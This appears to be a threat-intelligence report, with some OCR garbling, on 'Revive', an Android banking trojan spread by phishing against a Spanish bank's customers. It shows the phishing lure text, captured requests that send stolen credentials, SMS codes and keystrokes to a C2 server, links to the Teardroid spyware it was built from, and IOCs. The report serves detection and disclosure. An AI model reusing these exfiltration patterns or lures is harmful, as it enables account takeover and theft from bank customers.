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Key Points

e On June 15, 2022 a new Android Banking Trojan, dubbed as Revive, was discovered in the wild by Cleafy
TIR team.

e According to the evidence found on its code and its command and control infrastructure (C2), Revive
appears to be at its early stages.

e Revive appears to be delivered against Spanish citizens through phishing campaigns targeting customers of
a specific top-tier Spanish bank.

e Revive will enable Threat Actors (TA) to perform Account Takeover attacks, (ATO).

e Currently, Revive has three main capabilities:
- Capturing everything written on the device through a keylogger module.
- Performing "on-device" phishing attacks through the usage of clone pages, which aim to steal banking
login credentials.
- Intercepting all SMS received on the infected device, typically from banks and financial institutions in the
PSD2 area (e.g. authorization codes 2FA/OTP)

e To increase the attacks' success-rate, TAs created a video explainer, to support victims during the

installation once the malicious application has been downloaded.
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Figure 1 - Frames of the video shown inside the phishing website

Executive Summary

In June 2022, a new Android banking trojan was discovered by the Cleafy TIR team. Since the lack of information
and the absence of a proper nomenclature of this malware family, we decided to dub it as Revive to better track

this family inside our internal Threat Intelligence taxonomy.

The name Revive has been chosen since one of the functionality of the malware (called by the TAs precisely

“revive”) is restarting in case the malware stops working.

Revive belongs to a category of malware used for persistent campaigns, as it was developed and tailored for a

specific target. This type of malware is quite different from other famous Android banking trojans, such as TeaBot
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or SharkBot, that are able, at the same time, to attack multiple banks/crypto apps installed on the infected device

through their modular architecture.

However, the attack’s methodologies of Revive are similar to other banking trojans as it still abuses the
Accessibility Services to perform keylogging activities and to intercept SMS messages of the victim. The
combination of these features are enough to perform Account Takeover attacks (ATO), since TAs are able to

obtain login credentials and the 2FA/OTP sent via SMS by banks.

So far, both samples of Revive have a very low detection rate by Antivirus solutions (AVs). As shown by Figure 2,

the second sample has zero detection rate, since the malware is clearly still under development.
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Figure 2 — Two samples of Revive and their AV detection

Technical Analysis

Autenticacién de usuario fuerte

Hola, este mensaje es para ti que usas [__k MobilBank con una versién de Android que no cumple con los requisitos de seguridad y las reglas sobre
autorizacién fuerte.

Para el uso continuado de la banca mévil de [__}, ahora se requiere una aplicacién de autenticacion de dos factores.

Esta aplicacion no se puede descargar en Google Play ya que es solo para clientes de [__\y, por lo tanto, puede dar una advertencia de Google Play y
también de Android. Consulte estas advertencias.

Después de este mensaje viene un mensaje de texto con referencias.
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Figure 3 - Phishing website used to deliver Revive

As in the majority of cases, Revive uses different Social Engineering techniques to appear as a legitimate app in
order to mislead the victims. In fact, the malware is delivered through a phishing page and it hides behind a new

2FA app of the targeted bank.

Once the victim downloads the malware, Revive tries to obtain the Accessibility Service feature through a pop-up.

This permission is used for functionality, therefore monitoring and stealing information from the victim device.
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Figure 4 — Installation of Revive

When the victim opens the malicious app for the first time, Revive asks to accept two permissions related to the
SMS and phone calls. After that, a clone page (of the targeted bank) appears to the user (as shown in Figure 5) and
if the login credentials are inserted, they are sent to the C2 of the TAs. After that, the malware shows a generic

home page, with different links that redirect to the legitimate bank website.
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1 - Victim inserts credentials

2 - Credentials are intercepted 3 - Home page
2FA 0 Bienvenido al

POST /sms/email HTTP/1.1

accept: application/json, text/plain, */#*
Content-Type: application/json
Content-Length: 45

Host: 80.85.153.49:4000

Connection: close

Accept-Encoding: gzip, deflate
User-Agent: okhttp/4.9.2

{

"username” :"[ ", L Contactos generales
"password": " .

HTTP/1.1 200 0K

date: Jun 2022 | GMT

server: uvicorn

content-length: 53

content-type: application/json
access-control-expose-headers: X-Total-Count
Connection: close

{

"“success":true,

| "message":"email sent successfully!"™

leafy | LABS Hazte cliente

Figure 5 — Stolen credentials are sent to the C2

Analyzing the code, our hypothesis is that the developer of Revive took inspiration from an open source spyware
called “Teardroid”, available on GitHub[3], since there are some code and name similarities both in the
application and in the C2 infrastructure used. However, Teardroid is a spyware with different capabilities, while
Revive has been developed with a different purpose. TAs removed some features of Teardroid and added new ones
in this new variant, enabling ATO attacks. This is why Revive can be considered a banking trojan instead of a

spyware.
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# Teardroid v4
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Moving to its C2 infrastructure, other similar features can be observed as well, since both of them appear to be

based on FastAPI, a Web framework for developing RESTful APIs in Python, similar to Django/Flask.

In fact, it appears that TAs also create a variant of the Teardroid control panel [4], adapting it for their needs

during a fraud operation (e.g. collecting valid credentials, intercepting SMS messages, etc..).

The following figure shows some of the similarities found during our investigation:

; ) Teardroid control panel
Revive C2 infrastructure P
source code

@ 80.85.153.45:4000/ versi x + v
- C A Non sicuro | 80.85.153.49:4000) versio! 2 @ m®0 4

Figure 8 — C2 infrastructure similarities

Revive has been developed with the goal of performing ATO attacks against a specific target. In order to achieve

this task, the malware has three capabilities:

 Steal the login credentials. The following task can be achieved both with the clone page shown to the user
and with the keylogger feature, through the abuse of the Accessibility Services.

 Intercept all messages received from the infected devices, with the aim of obtaining the 2FA of the bank
sent to the user via SMS.

e Grab everything that the user writes on the device (e.g credentials, messages, phone numbers etc, as shown

in Figure 10). Those information are saved on a local database and sent to the C2 server.
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POST /sms/insert HTTP/1.1 POST /sms/email HTTP/1.1

1 1
2 Content-Type: application/json; 2 accept: application/json, text/p
3 User-Agent: Dalvik/2.1.0 (Linux; 3 Content-Type: application/json
4 Host: 80.85.153.49:4000 4 Content-Length: 44
5 Connection: close 5 Host: 80.85.153.49:4000
6 Accept-Encoding: gzip, deflate 6 Connection: close
7 Content-Length: 66 7 Accept-Encoding: gzip, deflate
8 8 User-Agent: okhttp/4.9.2
9 { 9
"msg_from":"+34 ", 10 {
"sms":"pin:[ ", "username":"{ |,
"victim_id":"null" "password":"{ "

m SMS intercepted and send to the C2 } Stolen credentials through clone page

Figure 9 — Information stolen by Revive and sent to the C2 server
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ontent-Type: application/json; charset=utf-8
User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Sam
Host: 80@.85.153.49:4000
Connection: close
{ Accept-Encoding: gzip, deflate

DBkeyloggerHelper. . Content-Length: 627
DBkeyloggerHelper. - «
DBkeyloggerHelper. H “victim_id":"null”,

} "keylog":
leafy | LABS

“{\"content\":\f [+++es6] [+++5] [+++4] [++3] [+2] [1

Figure 10 - Keylogger functionality

[3] https://github.com/ScRiPt1337/Teardroid-phprat

[4] https://github.com/ScRiPt1337/Teardroidv4 api

Final Considerations

Concurrently to the well-known Android Banking Trojan, like SharkBot, TeaBot or Oscorp/UBEL, that are
complex malware with multiple features able to carry out advanced attacks like ATO/ATS, there are also small and
tailored campaigns, probably conducted by local TAs. The latter types of scenarios sometimes could be more
difficult to intercept, since the malware are usually written from scratch (often not detected by antivirus solutions),

with few features tailored for only one target and the campaigns are carried out for only a few days.

At the time of writing, it is difficult to make an hypothesis about the future of Revive, since the malware is still in
its early stages (although it is already able to perform ATO attacks); TAs could improve it following multiple paths

(e.g.adding new features and transform Revive into a RAT or customizing the malware for other targets).

Appendix 1: IOCs
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IoC Description

4240473028f88a3ef54{86f1cd387f24

Revive samples
cf704e63652c23c2d609e9a01659511c

80[.]185[.]1153[.]149 C2 server

bbva.appsecureguide[.]Jcom
Phishing website used to deliver Revive

bbva.european2fal.]Jcom

Source: https://www.cleafy.com/cleafy-labs/revive-from-spyware-to-android-banking-trojan
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